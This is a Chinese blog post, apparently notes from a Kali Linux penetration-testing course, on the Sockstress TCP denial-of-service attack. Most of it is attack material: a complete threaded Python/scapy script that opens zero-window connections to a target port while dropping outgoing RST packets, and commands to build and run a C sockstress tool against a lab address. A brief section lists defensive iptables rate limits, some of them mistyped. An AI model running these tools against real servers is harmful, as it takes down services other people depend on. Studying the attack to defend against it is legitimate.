当前位置:   article > 正文

Kali Linux渗透测试 127 拒绝服务--Sockstress 攻击_127攻击

127攻击

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 简介

  • 2008年由Jack C.Louis 发现
  • 针对TCP服务的拒绝服务攻击
    • 消耗被攻击目标系统资源
    • 与攻击目标建立大量socket链接
    • 完成三次握手,最后的ACK包window 大小为0 (客户端不接收数据)
    • 攻击者资源消耗小(CPU、内存、带宽)
    • 异步攻击,单机可拒绝服务高配资源服务器
    • Window 窗口实现的TCP 流控

2. 脚本攻击

1. python 测试脚本

#!/usr/bin/python
#coding=utf-8

from scapy.all import*
from time import sleep
import thread
import random
import logging
import os
import signal
import sys
import signal

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./sockstress.py [IP地址] [端口] [线程数]"
    print "举例: ../sockstress.py  1.1.1.1 80 20 # 请确定被攻击端口处于开放状态"
    sys.exit()

target = str(sys.argv[1])
dstport= int(sys.argv[2])
threads = int(sys.argv[3])

## 攻击函数
def sockstress(target,dstport) :
    while 0 == 0:
        try:
            x = random.randint(0,65535)
            response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0)
            send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'\x00\x00',verbose=0)
        except:
            pass

## 停止攻击函数
def shutdown(signal,frame):
    print "正在修复 iptables 规则"
    os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
    sys.exit()

## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
signal.signal(signal.SIGINT, shutdown)

## 多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))

##永远执行
while 0 == 0:
    sleep(1)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 测试结果

    # 查看系统连接数
    netstat | grep ESTABLISHED | wc -l
    
    • 1
    • 2

2. C 攻击脚本

  • 下载编译

    github 下载地址

    gcc -Wall -c sockstress.c
    gcc -pthread -o sockstress sockstress.o
    ./sockstress 10.10.10.132:80 eth0
    ./sockstress 10.10.10.132:80 eth0 -p payloads/http
    
    防火墙规则
    iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 10.10.10.132 -j DROP
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
  • 查看攻击效果

    netstat -tulnp | grep ESTABLISHED | wc -l
    free
    top
    
    • 1
    • 2
    • 3

3. 防御措施

  • 直到今天sockstress攻击仍然是一种很有效的DOS攻击方式
  • 由于建立完整的TCP三步握手,因此使用syn cookie防御无效
  • 根本的防御方法是采用白名单(不实际)
  • 折中对策限制单位时间内每IP建的TCP连接数
    • 封杀每30秒与 80 端口建立连接超过 10 个的IP地址
    • iptables -I INPUT -p tcp –dport 80 -m state–state NEW -m recent–set
    • iptables -I INPUT-p tcp -dport 80 -m state-state NEW-m recent -update–seconds 30 -hitcount 10 j DROP
    • 以上规则对DDOS攻击无效
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/896196
推荐阅读
相关标签
  

闽ICP备14008679号